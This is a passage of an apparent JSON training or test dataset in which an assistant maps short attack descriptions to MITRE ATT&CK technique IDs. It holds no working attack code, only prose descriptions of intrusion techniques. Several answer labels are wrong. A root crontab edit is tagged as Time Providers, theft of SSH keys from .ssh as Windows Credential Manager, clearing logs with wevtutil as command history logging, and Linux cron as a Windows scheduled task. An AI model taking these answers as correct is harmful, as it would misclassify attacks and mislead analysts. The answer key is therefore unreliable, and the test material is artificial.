                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers placed a malicious payload named \"chrome.exe \" with a space at the end, causing endpoint protection to treat it as a benign browser process."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker archives harvested data into a password‑protected zip archive using WinRAR."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a botnet of compromised IoT cameras to conduct visual reconnaissance of target facilities."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups used compromised AWS S3 bucket credentials to pull sensitive logs and upload them to a hidden server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates an archive of sensitive files and exfiltrates it via an outbound SSH connection."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor manipulates the process tree by forging parent-child relationships, making malicious processes appear as sub-processes of legitimate ones."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the IIS management console to change the logging settings, obscuring their activity on the server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group sets up a LinkedIn account impersonating a senior executive to send spear‑phishing messages to the finance department."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a scheduled job in Linux using cron to launch a backdoor downloader at 2 AM daily."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the firewall configuration of a Google Cloud Compute Engine instance to permit unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses Windows Admin Shares to distribute a malicious DLL across multiple workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes the PowerShell cmdlet 'Start-Process' with the '-Verb RunAs' parameter, prompting for elevation before running a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads and copies files from a shared network folder used for collaborative document editing."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages systemd to persistently execute a PowerShell script on a Linux host via a new service entry."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom DLL, the malicious code overwrites the ParentProcessId attribute in the token to appear as a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets the DYLD_INSERT_LIBRARIES environment variable to point to a malicious dynamic library, forcing a targeted process to load the attacker-controlled code when it starts."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a custom URL‑safe encoding scheme that replaces standard Base64 characters with emojis to hide data."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a serverless application model (SAM) template to inject malicious code into a Lambda function that was automatically triggered by S3 object creation events."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary takes advantage of the \"cron\" schedule to run a script as the root user by editing the root's crontab."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Linux dbus interface to invoke the \"org.freedesktop.login1.Manager.Reboot\" method, rebooting the host."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool dynamically generates domain names based on the system clock and a hard‑coded seed value, rotating through the list until it reaches a responsive server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exfiltrated data by modifying outbound SMTP traffic, embedding encrypted chunks in email bodies sent to an external address."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a custom character substitution table to encode exfiltration payloads within SMTP messages."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a voice‑phishing script that references the target’s recent purchase, requesting the card verification number to “confirm the order” over the phone."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disguises a payload by naming it \"svchost .dll\", inserting a space before the extension to blend in with system files."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses network traffic shaping to blend malicious communications with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set altered the creation and modification timestamps of compromised binaries to blend in with legitimate system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a custom tool that encrypts data with the attacker’s public key and sends the encrypted payload through a legitimate SMTP server as email attachments."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the group exfiltrated data by encoding it into HTTP POST requests to the C2 endpoint."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets executives by sending a counterfeit email from a board member, containing a link to a replica of the internal portal that harvests entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a scheduled task with 'At log on' trigger to reopen its malicious executable each time a user signs in."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves embedding malicious PowerShell commands within a signed PowerShell script that is executed by a developer's build pipeline."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs a remote file copy via TFTP to place a credential dumping tool on the victim's filesystem."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs \"wmic useraccount get name\" to retrieve a list of local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows DCOM service to remotely launch a process on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website delivers a JavaScript exploit that takes advantage of a browser vulnerability to run malicious code on the client machine."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious executable queries the Windows Credential Manager database to retrieve stored user credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Criminals performed vishing by sending SMS messages that linked to a spoofed voice portal where victims entered personal identification numbers."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email attachment exploits a vulnerability in the email client, causing the application to crash repeatedly and denying the endpoint's email functionality."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performs a ping sweep across the target's IPv6 address space to locate active hosts."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a victim's machine invoked Confluence's Java API to programmatically read and exfiltrate pages stored in the knowledge base."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor dumped the SAM database, retrieved the user’s LM and NTLM hashes, and then used those hashes to gain privileged access on another machine."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's payload encrypts the victim's database tables, rendering the application inoperable until a ransom is fulfilled."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised internal code signing infrastructure to sign a custom C2 implant, making it appear as a legitimate corporate tool."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code performs a disk structure wipe by zeroing out the boot sector and partition entries."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the Remote Desktop Protocol to brute-force credentials and connect to internal hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor steals SSH keys and publishes them to a private Pastebin paste, setting the visibility to unlisted."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs mmc.exe with a specially crafted console file that loads a malicious DLL, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilized a stolen Kerberos ticket to request a new certificate from the certificate authority, effectively forging a legitimate authentication token."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident report describes the use of a specially crafted compiled HTML Help file that called regsvr32.exe with a remote script, enabling the attacker to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious MSBuild project file containing a <Exec> element is used to launch a credential-stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses GitHub's search API to locate private repositories containing credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the system's Gatekeeper policy file to permit execution of tampered apps."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is established by infecting Android smartphones via malicious apps, then using the network to send spam SMS messages and generate revenue."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actor uses the built-in Windows utility wevtutil to clear the Security event log, effectively erasing evidence of command execution."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom Python script that calls the Windows API NetServerEnum to enumerate servers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute scripts that erase event logs related to network connections and wipe stored Wi‑Fi profiles."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs dynamic resolution of system calls by parsing the Export Address Table and invoking functions via calculated pointers."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 employed Regsvr32 to execute a malicious JavaScript payload hosted on a compromised web server, circumventing defenses."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject faults into industrial control system software to cause physical damage."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection writes a malicious daemon.plist to /Library/LaunchAgents, set to run at system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application leverages the Windows Speech Recognition feature to execute a hidden PowerShell command each time voice activation is used for accessibility."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers used credential stuffing to access an online certificate portal and issued a new code signing certificate under a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a compromised Dropbox API token to retrieve and copy sensitive spreadsheets."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors push a malicious update to a shared software installer hosted on an internal repository, causing execution of a backdoor during installation."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a malicious email from a compromised corporate account to other employees, prompting them to click a link that installs a credential-stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the boot configuration to automatically start Windows in Safe Mode, preventing many security products from loading."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program extracts the user's SSH private keys from the .ssh directory."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collecting and adapting exploit scripts from open‑source projects to develop capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a fileless PowerShell command that called \"Invoke-Mimikatz\" to dump LSASS contents without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service calls the LSA API to enumerate local accounts present on the machine."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry key 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\EventLog' to disable logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the lsass.exe process to pull cached domain hash data from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden SMB share to stage data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen access tokens, the attacker initiated a persistent snapshot of a Kubernetes node's underlying virtual machine to maintain control."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
